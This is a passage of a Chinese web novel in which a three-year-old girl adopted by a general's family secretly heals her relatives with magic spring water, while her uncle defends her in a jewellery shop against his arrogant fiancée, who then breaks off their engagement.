她差点把大伯给忘了。
“辛苦乖宝了,大伯不用。”顾应柏笑了笑,小家伙还真是贴心。
“要。”顾应决突然开口。
不知为何,他总感觉喝了小丫头递来的水,疼痛减弱了些。
不过总归舒服就行。
“好!”乖宝望着他,勾着小嘴往屋里走。
顾应决拢了拢掌心,余光看了一眼,被下人带进来,跪在一侧的两人。
“将他们带去柴房,好好招待,务必问出些什么。”
“是。”下人俯下身行礼,便立刻带着这二人离开。
“今日这事过后,只怕你还活着的消息,整个京城都会知道。”
顾应柏眼中带着担忧,朝堂复杂,如今决儿根本……
“无妨,该来的,还是要来的。”顾应决淡淡道。
第二十二章 心疼
乖宝跑回来气喘吁吁地将手里的杯子塞进顾应决的手里,她一边喘息一边开口道:“爹爹快点喝吧,乖宝已经让嬷嬷热好了。”
“嘿嘿!”
“祖母,爹爹跟大伯把坏人抓到了。”乖宝扑到祖母的怀里,小脸蹭了蹭顾夫人的手。
顾夫人盯着乖宝红肿的眼睛,眸光暗了暗,心尖有些发酸,指腹轻轻抚了抚乖宝的眼皮。
她立刻吩咐身边的嬷嬷,端了温水过来。
顾夫人轻柔的弄湿面帕,给乖宝擦了擦,沾染泪痕的小脸。
还有她因为揉眼睛,揉脸有些发黑的小手。
乖宝又长又浓密的睫毛上面,还沾着小泪珠,那双明镜似的大眼睛,因为哭过,越发的透亮,仿佛能透过她那双眼睛看到另一个洁净的世界。
“祖母,爹可厉害啦……”她撅着小嘴,跟顾夫人说起刚才发生的事情,时不时还揉了一下眼睛。
顾夫人知道她困了,这个点吃午膳,乖宝都是要睡觉的。
她让孙嬷嬷把乖宝抱到自己怀里来。
“夫人,您的腿?”孙嬷嬷担心,乖宝会压着顾夫人的腿。
“无妨,现在不疼。”顾夫人将腿上搭着的毯子掀开,让乖宝躺在自己怀里,小屁股坐自己腿上,再用毯子盖在乖宝身上。
喝了乖宝那么多的水,一连好几天,她这腿晚上已经不疼了,甚至膝盖和脚踝,小动也不再是刺疼,就是还有些发僵使不上力。
过不了多久,这事也不着急。
她轻轻拍着乖宝,温柔开口道:“乖宝睡吧。”
乖宝其实已经累了,但是因为方才的事,太过冲击,她的小脑子还抓着放不下来呢。
顾夫人怀里踏实,又舒服,她慢慢放松了下来,靠着靠着就闭上了眼睛。
兄弟二人面面相觑,顾应决明显还有话要同顾夫人说,正要张嘴,边上的顾应决拍了一下他的肩,冲他做了个噤声的手势。
顾应柏压低了声音,开口道:“儿子还有事,退下了。”
顾夫人摆了摆手,边上的顾应柏推着顾应决出去。
过了会儿,顾夫人带着她回到了卧房,将乖宝放在了床榻上,替她掖了掖被子,正要转身,衣袖被一道力拽着。
她回头一看,乖宝软乎乎的小手正抓着自己呢。
顾夫人心脏像是包裹在棉花里,没舍得走,让孙嬷嬷扶着上床,抱着乖宝歇息。
另一边,陆荆淮从将军府离开后,捂着胸口跌跌撞撞进了,离将军府好几条街的景王府。
“王爷,属下,已查证那顾应决没死,但受重伤,他那腿应该是废了。”
“属下跟他过了一招,他一掌击中属下的胸口。”说着陆荆淮清咳了一声。
跟前的男人身穿着一身**袍,手里捏着一块东西,站在窗户边上,盯着窗外一棵柳树。
此处背光,景王站在阴影处,雄浑带着沧桑的声音响起,“玄奇,给他把脉。”
一道黑影从屋外走了进来,男人按住了陆荆淮的手腕。
玄奇宛如木偶人般,僵硬道:“回王爷,此人受了内伤,不过下手之人也只用了三层力。”
“能用内力证明他气血不弱,身体也绝非枯木之像。”
景王眸色阴冷:“本王知道了,都下去吧。”
二人退下后,又一道身影进了景王书房。
景王低的声音再次响起:“派人查,务必找到让顾应决,死而复生的药!”
他不信,连大夫都确认已经**的人,又突然活了。
这里面一定有猫腻。
“王爷,不好了,世子又发病了!”外头的丫头急急忙忙,冲了进来,开口道。
景王神情紧张,立刻转身往外走。
——
将军府内,午后,柴房那处传来一阵惨叫。
“我说我说,我们本是看这小丫头片子长得好,所以想卖个好价钱,谁知道在他身上发现了更值钱的东西。”
“本想把她抓了,抢了那玉佩,哪知道那丫头竟然爬进将军府了。”
两人颤抖着手,指腹被套在竹制加夹板上,发红甚至还有鲜血透过夹板流出。
妇人受不了,咬牙继续道:“我们哪里知道她是将军府的小姐。”
“要是知道根本不敢过来,就是昨日有位夫人出来时,跟我们说将军府来了个来路不明的小丫头,还认作养女了……”
边上的小厮捏着笔,将一切话都记录在宣纸上。
孙嬷嬷示意身边的人松手,接过边上小厮递来的宣纸,抓起了妇人带血的手指,在宣纸上按下手印。
“这下可以放了我们了吧。”妇人披头散发,面无血色道。
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>“放了你们?”孙嬷嬷冷嗤一声,“从你们对小姐出手时,就没了退路。”
孙嬷嬷走到一处房间门口,轻轻敲了敲门。
里头顾夫人轻声道:“进来。”
孙嬷嬷推开门,压着声道:“夫人,那两人全都招了。”
她将宣纸拿出来,放在了桌上,还复述了一遍方才那对夫妻说的话。
“那二人是人贩子,他们见小姐长得好,又看她一个人流浪在外,就盯上了小姐……”
听完,屋内陷入一片死寂,只有屋里的香炉,还冒着青烟。
没有一人发出声音,身边的下人等待着他们下令。却也不敢动弹。
顾夫人闭眸,指腹不断搅动着佛珠,想要压下心中翻涌的怒火。
顾应柏深吸了一口气,脸憋得发紫,手也拧成了拳头,“乖宝才三岁……”
边上顾应决想到了乖宝那双晶莹剔透的眼珠子,所以那个没用的男人,是**?
还是抛弃了,她们母女二人。
柳玉烟挑选男人的眼光,真差劲。
三人此刻才明白,乖宝来到将军府,这一路上到底有多么艰难。
就在此时,一道细小的哭声响起。
“夫人,好像是小姐哭了。”孙嬷嬷眉心一紧,开口提醒道。
顾应柏率先起身,迈着步子往另一侧的屋子去。
乖宝躺在床榻内,眼泪不断在眼角低落,弄湿了她的小耳朵,小手不断的扑腾。
“呜呜呜……坏蛋放开乖宝,放开!”
顾应柏快步走到床榻边上,急切的伸手拍她的小胸脯,“乖宝,醒醒。”
她微睁开眼睛,见顾应柏在自己跟前,泪水糊满眼睛,像是在不安中终于找到那个能救自己的人,朝着顾应柏伸出了小手臂。
乖宝说话声音,粘呼呼:“呜呜呜呜……大伯……”
“不哭,大伯在。”
顾应柏毫无一丝抵抗力,直接将乖宝的小身板抱在了怀里。
小心地抱着她又软乎,又轻的小身板,轻轻抱着拍背。
他说话的声音,比平常都还要轻,哄着道:“嗯,不哭啦,坏人都打跑了。”
“乖宝!”顾夫人跟顾应决先后被推进来。
“祖母,爹爹……”乖宝趴在顾应柏的肩膀,小脸发红,热得满头大汗,发丝贴着头皮。
第二十三章 借机打压
顾夫人摸了摸乖宝的额头,朝着乖宝伸手,“不怕,祖母,大伯,还有你爹都在。”
“嗯嗯!”乖宝点了点小脑袋,看看顾应决,又看看顾夫人,再捏捏顾应柏的肩膀上的衣裳。
“祖母。”她又冲顾夫人伸出了手。
从乖宝到将军府,她晚上几乎都待在顾夫人身边,对顾夫人的依恋程度远超于其他人。
顾应柏把她放进了顾夫人怀里,她搂着祖母的脖子,小脸贴着顾夫人的脖子,感受着那类似于母亲般熟悉的温度。
顾夫人用小毯子将她裹着,摸了摸她的后脑勺。
她冲两儿子示意了一眼,顾应柏点了点头,自觉推着弟弟出去。
门外两人瞥了一眼,等候着的孙嬷嬷。
顾应决声音冷硬:“将那二人,送大理寺去。”
下人眸光一怔,送大理寺那绝对是死罪。
不过那两人本就该死,秦国对人贩子的刑罚,那是最严重的。
“奴婢明白了。”
黄昏日落,乖宝见祖母跟嬷嬷都不在屋内,悄咪咪又把桌上的水换成了泉水。
而后她迈进夕阳里,朝着厨房的方向走。
下人们这会儿正在做午饭。
“小姐,您饿了吗?”厨房的张大娘见到乖宝,一边忙活着切菜,一边问候道。
乖宝小手捏了捏衣角:“对。”
“奴婢,刚才蒸了糕点,马上就好,您等一会儿。”张大娘温声道。
“哦,好。”乖宝四处张望了一眼,目光锁定在厨房里那两个巨大的缸。
“张婆婆,这个是做什么哒?”
“这个呀,里头那个是用来给主子们烧水洗漱用的,外头这个是用来做饭菜的。”张厨娘笑着回应道。
乖宝一双葡萄大眼,晃了晃,小手缩进衣袖内,捏了一下玉佩。
她想让祖母还有大伯快点好起来,但是府里的下人看的好紧。
乖宝见大家都忙着,迈着小步子,朝着那大缸走过去。
每一个大缸上面都会有一个竹编的盖子。
乖宝走到最里面那个,巨大的缸,往内侧靠,她整个小身板都给遮盖住了。
“奇怪,小姐去哪了?方才不是还在这儿吗?”对面的张厨娘一回头就发现乖宝不见了踪影。
她吃力地踮起脚尖,伸出小手,将盖子打开,小手趴缸边上,那大缸里面是空的。
乖宝眼睛一亮,赶紧把玉佩递了进去,急切地发出细碎的声音:“水水……”
没一会儿,缸里注满了水。
她又偷偷把玉佩塞回衣袖内,双手扒拉着缸边缘,伸长了脖子,眼睛往里面看,清澈见底的水缸。
乖宝满意地松开了手,深深吐了一口气,小跑到蒸糕的灶台那边。
一双小手抓起了两块糕点,迈着步子往外走。
张厨娘回头就看到了乖宝,纳闷的盯了乖宝的小背影,“小姐不是出去了吗?”
晚上,侧室内,云雾缭绕。
乖宝坐在木桶里小脸被泡的发红,小手攥起拳头,打在水上。
水花落在她白嫩的小脸上,一双黑白分明的大眼睛,圆溜溜盯着孙嬷嬷,憨憨的笑。
孙嬷嬷替她擦了把脸,又搓了搓手,身上的各处皮肤,笑着道:“小姐,我们要出来了。”
“嘿嘿!”乖宝被孙嬷嬷用一张大布包裹了起来,抱到了罗汉床上穿衣服。
她冲着顾夫人道:“祖母,今天的水水好舒服,要多泡一泡哦!”
顾夫人捏紧了手里的佛珠,勾唇道:“好。”
她腿脚不便,只能让嬷嬷帮忙脱了衣裳,扶进木桶内,随着热气的不断上涌,温热的水气,仿佛透过她的肌肤穿进皮肤里层,进入血液,肌肉,骨髓,,从下到上,一直延伸到脑袋。
那是她第一次至泡脚后,全身心的放松。
无力的小腿,甚至总是发堵的脚掌,在此刻仿佛被一道无形的力打通,瞬间畅通无阻。
顾夫人舒服的浑然忘记了自己身处何处。
直到孙嬷嬷突然走进来:“夫人,您醒醒,这水要凉了,再待着会着凉。”
顾夫人这才逐渐,从昏昏欲睡中惊醒过来。
她明显感觉,浑身都有些发软了。
曾经那细如发丝般的刺痛,已经彻底消失了。
“今日不
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必泡脚了。”顾夫人开口道。
孙嬷嬷最近就发现,夫人不仅脸色好了不少,晚上醒来次数也少了。
心里猜测,夫人这腿应是有所改善。
“好。”她心中大喜,却也不敢过多声张。
顾夫人被扶回床榻上时,发现乖宝已经仰头睡起了觉。
睡得着小肚皮露在外面,一起一伏,小手微微抓成小拳。
孙嬷嬷轻声笑着道;“说起来,自从小姐来了咱们府上,府里的日子越来越好了。”
顾夫人闻言脸色变了变,伸手拉了被子害羞乖宝的小肚皮。
过不了多久其他人也会发现,将军府的变化。
那个时候,乖宝的只会越来越危险。
她们必须得尽快好起来,否则如何能护住乖宝。
国公府。
“那两个废物,一点用都没有!”国公夫人听完下人的禀告,脸黑的跟锅灰似的。
“没想到啊,那个小贱种居然真的是顾应决的孩子。”
“顾应决那个残废,腿都废了,还能打。”
“娘,您别气,他就算再能打,那也是个废物了。”边上的国公世子,递了一盏茶过去。
国公夫人伸手接过,顺了顺气道:“是个废物,那也没死。”
只要顾应决还活着一天,将军府的那些家当,就都跟他们无缘。
“他现在没死,不代表日后还能继续活着,咱们只要把将军府的水搅混,到时盯着他们的人那么多,还怕没人下这个手?”男人嘴角勾出一抹阴冷的笑意。
国公夫人心头一动,“你有什么打算?”
“三弟也到该成婚的年纪了,顾应柏那个婚事,儿子不信林府真愿意把女儿嫁给他。”
“林大人在吏部当值,如果林小姐能嫁入咱们家,不仅能帮父亲,还能借机打压将军府。”
“顾应柏那羸弱的身体被当面退婚,一不小心气**也说不定。”世子眼眸中闪过一丝阴毒,仿佛将军府众人的性命,全部都能随意由他定夺。
国公女人勾了勾唇:“好,就按你说的办,娘明日就叫人送帖子过去,请林夫人来一趟。”
第二十四章 抑郁爹
几日后,将军府后院。
“爹爹,吃药了吗?”乖宝每天一早起来,必先冲进顾应决的院子。
小厮在门口熬药,看到她来开口道:“已经喝了。”
“这才刚睡。”他压着声音道。
“爹,又不舒服了吗?”乖宝蹙眉问。
“也没……”
“乖宝?原来你在决儿院子里,让大伯好找,走今日大伯带你出门去。”顾应柏感觉最近自己这身体不错,走路不喘气了,也不怎么咳了,就想带着乖宝去铺子转转。
“哇!乖宝终于可以出门了吗?”乖宝一双眼睛兴奋地望着顾应柏,在地上跳了好记一下,合着掌道。
“嗯,我们走吧,大伯已经叫人备好了马车。”顾应柏拉住乖宝,目光往弟弟房门那看了一眼,压低了声音开口。
乖宝察觉到大伯的视线,也往那看了一眼,赶紧缩着脖子点头,连走路都放慢了一些。
直到出了顾应决的院子,她才肆无忌惮地松开顾应柏的手,撒欢似的小跑。
小厮挪了挪唇,长叹了一口气,把药倒进碗里,悄悄推开顾应决的房门。
顾应决靠在床侧,眼角染着青丝,这几天小姐每次过来,将军都以自己已睡为由拒绝见她。
“将军该喝药了。”也不知道将军到底怎么想得,小姐那么招人喜欢。
他怎么就能舍得不见。
“放着,出去。”顾应决抬眸看了一眼,透过窗户射进来的阳光。
外头光彩照人,而屋内一边低沉压抑,黑暗,就仿佛他这永远都没有知觉的下半身。
小厮放下碗,“小姐跟大公子好像出门玩去了,最近大公子身子好了不少,奴才见他脸色都红润了些。”
“将军,人还是要往前看,心情好,身体才会好。”
“出去。”顾应决冷声道。
小厮闭上了嘴,推开门又关上。
顾应决面带忧思抬眸,摊开手掌,又拢了拢拳,从打出那一掌后,他的内力再无波动。
若是如此,将军府只会再次陷入被动中,毫无还手之力。
他每次想办法聚力都没有一点用。
难道真只是昙花一现?
与此同时,乖宝跟顾应柏出了府,小脑袋透过车帘,四处张望着街外的店铺。
马车最终停在一个烫着金字的店门前,门牌上赫然写着:斋宝阁,三个字。
顾应柏下了马车,又从马车上将乖宝抱下来,拉着她的手往里面走。
小厮见到顾应柏,立刻上前:“大公子,您来了,快进。”
台面前招待客人的掌柜,立刻走了过来,朝着顾应柏行礼:“公子。”
“你们忙,我过来看看。”顾应柏一边回应,一边俯下身抱起了乖宝。
“乖宝有喜欢的吗?”
乖宝搂着顾应柏的脖子,垂头往上面的柜台上看。
一个个红绸匣子上,摆放着各种款式精致的头面,有花样的,有鸟形的,水滴形的,还有各式各样的耳坠,花钿,簪子,镯子,项链等。
“嗯……”乖宝看了一圈,随手指了指跟前,一个小盒子里,一副头面,还有一盒珠翠玉翡特质的镯子,簪子,玉梳等。
这一盒金灿灿的,看上去好贵,好有钱!
那个绿色的发光石头好看,可以给祖母,她之前看到祖母就有。
“小姐,好眼光,这是咱们店前日新出的品。”掌柜笑着,朝乖宝行礼。
“您先看看别的,小的去叫人拿东西包好。”说完掌柜离开。
顾应柏带着乖宝,往里面走,被小厮叫住。
“公子,前段时间,铺子有批货需要您过目一下,您正好来了,不如跟小的过去看看。”
顾应柏回头,见乖宝正目不转睛,盯着柜台上的首饰,眼里充满了好奇,叫了个小厮过来陪她。
“大伯有事一会儿回来,你要是累了就进去歇会儿,等我。”顾应柏摸了摸她的小脸,开口道。
乖宝拽着他的手,眼里有些焦灼,害怕顾应柏就这么把她,丢在一个完全不熟悉的地方。
“没事,这里是我们将军府的产业,也算是我们的底盘,乖宝不怕。”顾应柏轻轻开口道。
从那人贩子的事情后,他明显感觉到乖宝更粘自己了。
他虽很乐意,但更明白需要给乖宝慢慢克服恐惧的空间。
“那好吧。”乖宝松开了顾应柏的手,眉头微微往下拉。
“要快点来哦。”
“好。”顾应柏又叮嘱了小厮几句,这才离开。
小厮搬了一把,脚踏凳来,让乖宝站在上面台面上的首饰,怕她无聊还热心的给她介绍。
铺子里,进来一群身穿锦衣华服的世家小姐。
为首的女子身穿紫衣,头上的首饰更是不重复好几样,走到柜面上。
小厮让乖宝先看着,便立刻迎了上来:“林小
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姐,您来了。”
女子目光扫了一眼台面上的首饰,盯着红匣子里的头面。
“这副头面真好看,我要了,赶紧给我包起来。”她声音清脆,却格外响亮有势气。
她这话,引起了边上众姐妹的追捧:“真羡慕,林小姐,来了斋宝阁想要什么拿什么。”
“不像我们,来了也就只能挑几件带走。”
“是呀,瑶瑶,可是这斋宝阁,未来的夫人,谁敢问她付钱。”
“你们有什么喜欢的,可以挑挑看,要是看中了,可以送你们。”林清瑶抿了抿唇,脸上是藏不住的得意。
“真的吗?这不太好吧。”边上的人睁大了眼睛,一脸惊喜道。
“这有什么,反正这铺子以后也有瑶瑶的份,现在她不过是提早拿点东西而已,再说了之前顾应柏不也是对瑶瑶有求必应吗?”
“就这么一点东西而已至于吗。”
“就是就是。”
边上的姐妹们,纷纷开口道。
小厮十分歉意道:“林小姐,要不您还是挑点别的吧,这副头面已经被定好了。”
“何况这是一套小孩才能戴的头面,不如您重挑一套,自己能戴的?”
林清瑶神色沉了沉,这头面好看,她打算送给国公府世子的女儿。
那可是国公府,名门贵胄!
其他的款式一看就没有这个贵气。
她怎么好拿的出手。
边上的姐妹开口道:“这……林小姐都看好了,要不让那人,让给林小姐,反正不过一个头面而已。”
小厮脸色有些难堪:“这个恐怕不行。”
“有什么不行的?”林清瑶觉得这小厮一点都不识趣,让自己在一众世家小姐面前很丢脸,冷声开口道。
“我就要这头面!”
“我们林瑶可是将军府未来的大夫人,你们还不给包起来。”对面的女人说话的语气十分的嚣张,仿佛自己就是林清瑶,而小厮是她自己家的下人。
乖宝听到动静走了过来,连忙跑上前提醒道:“姐姐,这个东西是乖宝要买的,你要是喜欢可以看看别的。”
她不懂姐姐们在说什么,但是她听出了姐姐想要她的东西。
“死丫头,我们说话哪有你说话的份,赶紧滚开!”边上的林清瑶心气不顺,看着她更来气,甚至厌恶。
死小孩,小小年纪戴得住这么贵的东西吗?
还跟她抢。
第二十五章 乖宝是我们将军府所有人的小宝贝
“林小姐,您这话未免也太过分了些,这可是我们将军府的小小姐。”边上的小厮闻言蹙眉,说话的声音冷了一些。
平常时候他对林小姐恭敬,那是因林小姐是未来将军府的主子,即便看不惯,她总是带着人上门拿东西不付钱,也不敢私下议论半句不是。
可现在林小姐还没过门呢。
小小姐才是将军府真正的小主子!
林小姐到底哪来的脸,对小主子说这样的话。
边上的世家千金们本就嫉恨,林清瑶家事不如她们,却仗着将军府未来长媳的身份,处处压她们一头。
一个个哪能错过这搅局的好机会,看好戏般开口道:“清瑶,这孩子是将军府的小姐,这套头面怕是不会给你,要不还是算了吧。”
“是呀,我听说这孩子在将军府里极其受宠,你嫁进去只怕也要排这小丫头之后了。”
“怪不得,这孩子对清瑶这般无礼,见到也不叫声婶婶,怕不是让将军府给宠坏了,等清瑶嫁过去,还能有好日子吗?”
这些话仿佛深深扎在林清瑶心中。
林清瑶脸色青一阵白一阵,目光死死盯着乖宝。
一个小丫头而已,还能骑到她头上?
“原来你就是将军府认回来的那个小孩,我是你未来的婶婶,这头面我看中了,让给我知道了吗?”林清瑶把乖宝拽到门口,压低了声音,警告道。
“不行。”乖宝听她的语气,小眉头微皱。
“你这小丫头,不听话是吧?再不听话,我就告诉你大伯,让你大伯教训你。”林清瑶拿出那套吓唬小孩子的口吻,继续道。
一个刚从外面认回来的野丫头,骨子里染着贱民的**气,就算到了将军府那也改了。
这样的人,还不是随便被她拿捏。
乖宝睁着一双清澈屋无瑕的眼睛,奇怪地盯着她,在林清瑶眼中那是一种警惕和畏惧的眼神。
“我已经跟她说好了,这头面不适合她戴,还是让给我吧。”林清瑶嘴角勾起一抹笑,小屁孩知道个什么,转头朝着小厮开口道。
“这样的头面给她一个什么也不懂的小丫头戴,那就是浪费。”
“乖宝就不给。”乖宝小脸气得通红,开口大声道。
大伯说过,这个东西乖宝喜欢,就给乖宝了。
统统说自己的东西一定要好好守着,不可以让任何拿走。
除非乖宝主动给她,不然不可以抢!
乖宝气呼呼的上前,就要拿走她手里的红匣子,林清瑶手里端着的红匣子,差点不稳落地上。
她抬手想要推开乖宝,发现这个死丫头竟死死抱着自己不放手。
边上的人看笑话般,捂着嘴道:“清瑶,你看这孩子,一点都不把你这个婶婶放在眼里。”
“现在就这样,日后你可有罪受了。”
林清瑶闻言,胸口冒上一阵怒意。
她们说的对,死丫头分明没把她放在眼里,还让她在众人面前蒙羞。
“你个死丫头,哪有半点将军府小姐的仪态,我今日就要替将军府好好教训教训你……”
林清瑶放下手中的红匣,抬起了手,手掌即将落下时。
“林清瑶!”一道冷冽的声音突然响起。
众人寻着声音的来源,看了过去,只见顾应柏从阶梯上一步步走下来。
他那双异常冷硬的目光盯着林清瑶。
“应柏哥哥。”林清瑶在看到顾应柏的那一刻,下意识的收回了手,看了一眼地上的乖宝,皱了皱眉。
都是这个死丫头,不仅跟她作对,还对她的无礼!
她眼里带着委屈道:“应柏哥哥,你来的正好,你家这个小丫头一点也不懂事,大庭广众之下,非要不依不挠的闹,她哪有一点将军府小姐的样子。”
“不就是一个头面嘛,她是将军府的小姐,要什么没有,如此斤斤计较,以后长大了还得了。”
“我看她就是没把我放在眼里!”
“应柏哥哥,你让她把这套头面给我好不好。”林清瑶走过去,拽住了顾应柏的手臂,晃了晃,压低了嗓子声音娇俏又悠长。
林清瑶根本就没有察觉到顾应柏态度的变化,“应柏哥哥,
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我是真的喜欢,你就让她给我吧,反正铺子里这么多东西,你就让她再随便挑一件好了。”
她上前,盯着顾应柏,扬起唇拽着他的衣袖撒娇。
顾应柏盯着她的眼神很冷,甚至带着一丝陌生。
为了一件东西,对一个三岁孩子出手,如此狭隘心狠。
这样的林清瑶真的是,自己认识的那个天真单纯,又有些任性的林家小姐吗?
还是他从未真正了解过她。
顾应柏掰开了她的手,走到乖宝身边。
他俯下身声音一改刚才对林清瑶的冷硬,柔声道:“乖宝,有没有受伤?”
乖宝望着他摇了摇小脑袋,小嘴微启,奶声道:“大伯,这个姐姐是乖宝的婶婶吗?她也喜欢这个东西吗?可是这个是小孩子才戴的,她也要戴吗?”
“如果她真的很喜欢很喜欢的话,那乖宝给她吧。“
林清瑶抿了抿唇,这小丫头还算识相。
顾应柏目光顿了顿,勾唇道:“那乖宝自己呢?喜欢吗?”
“要说实话。”
乖宝垂眸,没吭声,她捏了捏手心,刚才乖宝都听到了,这个姐姐好像是她以后的婶婶。
如果婶婶生气的话,那大伯会难过吗?
她不想大伯难过。
顾应柏盯着不说话的乖宝,心头发紧,喉咙像是有什么东西堵了一下。
“乖宝是我们将军府所有人的小宝贝,喜欢什么都不用让人任何人。”
“大伯,祖母和你爹都希望乖宝开心。”
这孩子太懂事了,懂事的让人心疼。
“这头面原本就是我家乖宝看中的东西,你一个大人跟小孩抢什么东西?”顾应柏回头看了一眼林清瑶,声音冷沉。
“连一个孩子都知道谦让,而你个大人,却只想着占有这件头面,甚至还出言不逊,动手伤人。”
“你觉得这对吗?”
林清瑶嘴角的笑意僵住,这么多年来,只要她给顾应柏撒个娇,顾应柏就什么都愿意由着她。
这还是第一次,他因为一个野丫头,对自己这么说话。
第二十六章 大伯不是恋爱脑
边上的世家千金们,用手帕遮面,眼里是难掩的笑意,也就林家小姐这个蠢货,仗着自己是顾应柏的未婚妻作威作福,还敢欺负到将军府小辈唯一的孩子头上,还真不知死活。
“清瑶是有错,但顾公子当着孩子的面这么说,也太不给清瑶面子了,日后清瑶还不得被一个孩子看扁。”
“就是,清瑶还说顾公子宠她,疼她,我看呀未必。”
林清瑶听到她们窃窃私语的话,只觉得羞耻。
她那张脸红的仿佛要滴血,恨不得挖个地洞将自己埋了。
“顾应柏我是你未来的妻子,你现在要为了一个刚认回来的侄女,当这么多人的面让我下不来台?”林清瑶心有不甘,气愤道。
“我家乖宝,拿自家的东西,想怎么拿就怎么拿,还轮不到你一个外人提让。”顾应柏气息不稳,胸口内流淌着一股火热的气流,直往喉间冲。
他实在太气了!
乖宝是他捧在手心的小孩,平时磕着碰着他都不忍心。
林清瑶却还想对乖宝动手。
“外人,我是你未来要嫁的妻子,你就这么看着我被人羞辱?”
“就因为她一个小丫头?顾应柏你就要毁掉我们这么多年的感情?”林清瑶面色通红,指着身边的乖宝大声呵斥道。
她眼中全是对乖宝的仇视,都怪她,要不是她怎么会变成这样!
“顾应柏,你到底还想不想跟我成婚了?”林清瑶怒气上头,瞪着顾应柏,冷声威胁道。
乖宝听到他们吵架,蹙眉拉了拉顾应柏的衣袖,“大伯……”
“乖宝,大伯没事。”顾应柏俯下身将乖宝抱在怀里,尽可能平稳自己的呼吸,让自己冷静下来。
以前因为身体抱恙,所以对清瑶多有愧疚,这才处处忍让,他以为清瑶只是条刁蛮任性一些。
但是没想到,她如此不讲理。
“你我婚事是父母所定,跟此事无关!”
“若你连乖宝,一个这么小的孩子都容不下,未来如何能掌管将军府里的事。”
“顾应柏!”林清瑶面对顾应柏突然的无视和转变,心里又委屈,又嫉恨,甚至愤怒。
他明明以前不是这样的。
为什么,凭什么!
他说过会对她一直好的。
顾应柏是不是以为,她离不开他这个病秧子?
呵,真是可笑。
“你以为我想嫁给你这样的一个病秧子?”
“我这就回去让我爹去将军府退亲。”林清瑶死死盯着顾应柏,含着泪扬声愤怒道。
顾应柏这么个半死不活的男人,谁稀罕?
既然顾应柏如此绝情,也别怪她无义!
“若林小姐不愿,那这桩婚事就此作罢。”顾应柏眼中染着失望。
林清瑶回头,见那一群世家小姐正看着自己,她们脸上全都是看她好戏的戏谑和嘲弄。
她原本是过来拿东西的,结果现在东西没拿,反而让人看了笑话,这脸都不知道往哪儿搁。
“林小姐,这是要走?手上东西倒是留下呀。”一道声音从外面传来,女子身穿着淡青色的衣裳,带着丫鬟走了进来。
林清瑶看了她一眼,神色一僵,顿了两秒,赶紧将手里的玉镯子取下,放台面上,那是她方才拿头面时,随手戴手里的。
“谁稀罕!”
说完,她仿佛怕有人在后面追一般,逃也似的走了。
来的那些世家小姐,看完热闹,觉得无趣便纷纷离开。
“三姐?”顾应柏朝着跟前的女子行了一礼。
女子伸手扶起了他,“不必客气。”
“这就是应决的孩子?”女子垂眸,看了一眼乖宝。
小丫头长得白瓷可爱,长得喜庆,跟顾应决那张死板毫无表情变化的脸,完全不搭边。
这真是顾应决女儿?
还真没看出来,应决能生出这么乖巧软乎的孩子。
“姨姨?”乖宝抬眸,盯着跟前的女子,露出甜甜的笑容,轻声开口。
女子示意了一眼身边的丫鬟,丫鬟从钱袋里拿出了两个银元宝。
“真乖,这个给你,拿着买些吃的。”
女子将银元宝递给乖宝。
乖宝一双眼睛发亮,“谢谢姨姨。”
她知道
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这个就是这里的钱钱,可以,买很多很多吃的。
嘿嘿!
“应柏,昨日我回府,听说祖母前几日请了林夫人跟林**,你回去跟婶婶,好好说说,我觉着你跟林小姐这婚事……”女子叫顾嫣,国公府的庶女,国公夫人是她的嫡母。
她也是唯一一个跟将军府关系不错的小辈。
当初国公夫人要把她嫁给一个六十岁的男人做续房,她哭着跑到将军府求助。
最后还是将军夫人请了她爹顾国公,亲自做主这才拒了这婚事,后又在将军夫人帮助下,嫁给了老将军一个部下,那人虽在军中,不是什么大官,但老实本分。
她们夫妻现在日子清贫,但也还算不错。
即便这样,她也没有忘记将军府的恩情。
“我知道了三姐。”顾应柏点了点头,俯下身行了一礼,心里染上了一丝苦涩。
他早就猜到会有这样一天。
知道自己这副病弱的身体,并非林清瑶的良配。
可到了这一天,心里还是会有些难受。
“嗯,我还有点事先走了,下回带乖宝来我府上坐坐。”顾嫣摸了摸乖宝的小脸,开口道。
顾应柏点头:“好。”
“姨姨,再见。”乖宝冲她挥了挥手。
掌柜上前,将包裹好的东西递给了顾应柏。
顾应柏带着乖宝出了铺子,随手把东西丢给了在外面等候的小厮。
“走,乖宝,大伯带你逛逛。”顾应柏说话声音有些大,气流往口腔内灌。
他喉间一痒,咳了出来。
这一咳又是连连不断好一阵子。
“大伯,你没事吧?”乖宝站在他跟前皱起了眉头,小嘴抿成一条直线。
“没事。”顾应柏摆了摆手。
乖宝看他眼睛都咳红了,长叹了一口气,双手放背后,眼里带着一丝无奈。
她暗暗咬牙,像是下定某种决心般,小手握成拳头。
大伯的身体不好,爹的身体也不好,这样不被别人欺负才怪呢。
哼!
等乖宝长大,一定要学武,看以后谁敢欺负大伯他们。
第二十七章 大伯身体好了?
“好了。”
顾应柏起身拉着乖宝往前走,身后的马车缓缓跟着。
为了方便乖宝能看到摊位上摆放的东西,乖宝又被顾应柏抱在了怀里。
“大伯那个是什么东西?”乖宝看到摊位上,一个像月亮一样的东西,仔细一看又有一点像袋子,上面还有一个盖子。
“那个叫水袋,外出的时候可以带着,想喝水就能装进去。”
乖宝一听,黑黝黝的大眼珠子闪了闪,开口道。
“哇!那我们也买几个吧。”
有了这个东西,爹跟大伯不舒服,就可以随时喝到灵泉水了。
“平时都在府上,也用不上这么多吧。”顾应柏看她一下拿了三个,开口提醒。
“买一个就成,乖宝爱玩,水袋放身上,渴了就能喝。”
“要的,都要的。”乖宝从自己的衣袖里,掏出了一个大元宝。
摊位上的贩子,眼睛亮了亮。
顾应柏又将她那个大银元宝给拿了回去,拿出钱袋子,丢了个碎银上去。
“乖宝,你这钱太多了,店家找不开,日后再用吧。”
“嗯嗯,好叭。”乖宝满足地点了点小脑袋,又把自己那一大个银元宝,放进了嬷嬷给的钱袋子里。
两人在大街上闲逛了一会儿,顾应柏这才带着乖宝返回将军府。
马车上,乖宝时不时往马车外看,窗外的叫卖声,热闹非凡。
而抱着她的顾应柏非常安静,目光望着对面被风轻轻吹开的车帘。
密闭的空间内,阻隔了外界的繁杂。
顾应柏脑子里充斥得全都是方才林清瑶的那些话。
指腹轻轻摸着乖宝纤细乌黑的头发,心里有些怅然。
“大伯,这个给你吃,很甜的。”乖宝掏出自己挂在腰间的荷包,打开荷包从里面取出干果,还有方糖块。
那都是今天早上嬷嬷装进他和包里的东西。
顾应柏从她的小手心,捏了一小块含在的嘴里。
